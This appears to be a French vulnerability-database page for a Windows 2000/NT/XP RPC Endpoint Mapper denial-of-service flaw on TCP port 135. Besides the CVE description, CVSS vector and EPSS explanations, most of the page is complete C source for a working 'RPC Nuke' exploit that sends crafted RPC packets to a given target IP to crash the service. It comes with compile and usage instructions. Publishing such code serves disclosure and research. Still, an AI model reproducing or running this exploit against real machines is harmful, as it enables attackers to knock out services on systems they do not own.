Descriptions du CVE

The RPC component in Windows 2000, Windows NT 4.0, and Windows XP allows remote attackers to cause a denial of service (disabled RPC service) via a malformed packet to the RPC Endpoint Mapper at TCP port 135, which triggers a null pointer dereference.

V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/6005/info The Microsoft Windows RPC service contains a flaw that may allow a remote attacker to cause a denial of service. By sending a specifically malformed packet to TCP port 135, the RPC service will be disabled. This vulnerability was originally reported to only affect Windows 2000. Microsoft has confirmed that Windows NT 4.0 and XP are also vulnerable. It has been reported that installation of the provided patch will cause some problems in IIS environments. Specifically, users who are using COM+ in IIS environments may experience problems with ASP transactions. A variant of this issue has been reported which allegedly affects patched systems. It is apparently possible to trigger this variant by flooding a system with malformed packets. /* ************************************************************************ * MS WIN RPC DoS CODE FROM SPIKE v2.7 * * Compile it use: * cl winnuke.c * * Usage: * winnuke targetip * * Code by lion, Welcomde to HUC Website Http://www.cnhonker.com * 2002/10/22 ************************************************************************ */ #include <winsock2.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") char sendcode1[] = "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x02\x00\x00\x00" "\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00" "\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f" "\x02\x00\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00" "\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x00\x01\x10\x00\x00\x00" "\xd0\x16\x00\x00\x8f\x00\x00\x00\x20\x27\x01\x00\x00\x00\x02\x00" "\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00"; char sendcode2[] = "\x88\x13\x00\x00\x00\x00\x00\x00\x88\x13\x00\x00"; char sendcode3[] = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00"; char sendcode4[] = "\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x3d\x3d\x3d\x3d" "\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d" "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" "\x50\x10\x01\x00\x00\x00\x02\x00"; char sendcode5[] = "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" "\x80\xf9\x00\x00\x00\x00\x02\x00"; char sendcode6[] = "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" "\xb0\xe2\x00\x00\x00\x00\x02\x00"; char sendcode7[] = "\x05\x00\x00\x02\x10\x00\x00\x00\x60\x15\x00\x00\x8f\x00\x00\x00" "\x60\x15\x00\x00\x00\x00\x02\x00"; char sendcode8[] = "\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00"; int main(int argc, char *argv[]) { WSADATA wsaData; WORD wVersionRequested; struct hostent *pTarget; struct sockaddr_in sock; char *targetip; int port,bufsize; SOCKET s; char buffer[20480]; printf("========================= HUC Win2000/XP RPC Nuke V0.10 =======================\r\n"); printf("================= By Lion, Welcome to http://www.cnhonker.com =================\r\n\n"); if (argc < 2) { printf("Usage:\r\n"); printf(" %s <TargetIP> [TargetPort]\r\n", argv[0]); printf("Example:\r\n"); printf(" %s 192.168.0.1\r\n", argv[0]); printf(" %s 192.168.0.1 135\r\n", argv[0]); printf("PS:\r\n"); printf(" If target is XP, try 2 times.\r\n"); exit(1); } wVersionRequested = MAKEWORD(1, 1); if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1; targetip = argv[1]; port = 135; if (argc >= 3) port = atoi(argv[2]); bufsize = 512; if (argc >= 4) bufsize = atoi(argv[3]); s = socket(AF_INET, SOCK_STREAM, 0); if(s==INVALID_SOCKET) { printf("Socket error!\r\n"); exit(1); } printf("Resolving Hostnames...\n"); if ((pTarget = gethostbyname(targetip)) == NULL) { printf("Resolve of %s failed, please try again.\n", argv[1]); exit(1); } memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); sock.sin_family = AF_INET; sock.sin_port = htons((USHORT)port); printf("Connecting...\n"); if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) ))) { printf("Couldn't connect to host.\n"); exit(1); } printf("Connected!...\n"); printf("Sending Packets...\n"); if (send(s, sendcode1, sizeof(sendcode1)-1, 0) == -1) { printf("Error sending nuke Packets\r\n"); closesocket(s); exit(1); } memset(&buffer, '\x41', 240); send(s, buffer, 240, 0); send(s, sendcode2, sizeof(sendcode2)-1, 0); memset(&buffer, '\x42', 5000); send(s, buffer, 5000, 0); send(s, sendcode3, sizeof(sendcode3)-1, 0); memset(&buffer, '\x43', 512); send(s, buffer, 512, 0); send(s, sendcode4, sizeof(sendcode4)-1, 0); // memset(&buffer, '\x44', 20480); // send(s, buffer, 20480, 0); // /* memset(&buffer, '\x44', 5000); send(s, buffer, 5000, 0); send(s, sendcode5, sizeof(sendcode5)-1, 0); memset(&buffer, '\x45', 5000); send(s, buffer, 5000, 0); send(s, sendcode6, sizeof(sendcode6)-1, 0); memset(&buffer, '\x46', 5000); send(s, buffer, 5000, 0); send(s, sendcode7, sizeof(sendcode7)-1, 0); memset(&buffer, '\x47', 5000); send(s, buffer, 5000, 0); send(s, sendcode8, sizeof(sendcode8)-1, 0); memset(&buffer, '\x48', 5000); send(s, buffer, 5000, 0); // */ printf("Nuked! \r\nIf target is XP, try a again! :)\r\n"); closesocket(s); WSACleanup(); return 0; }
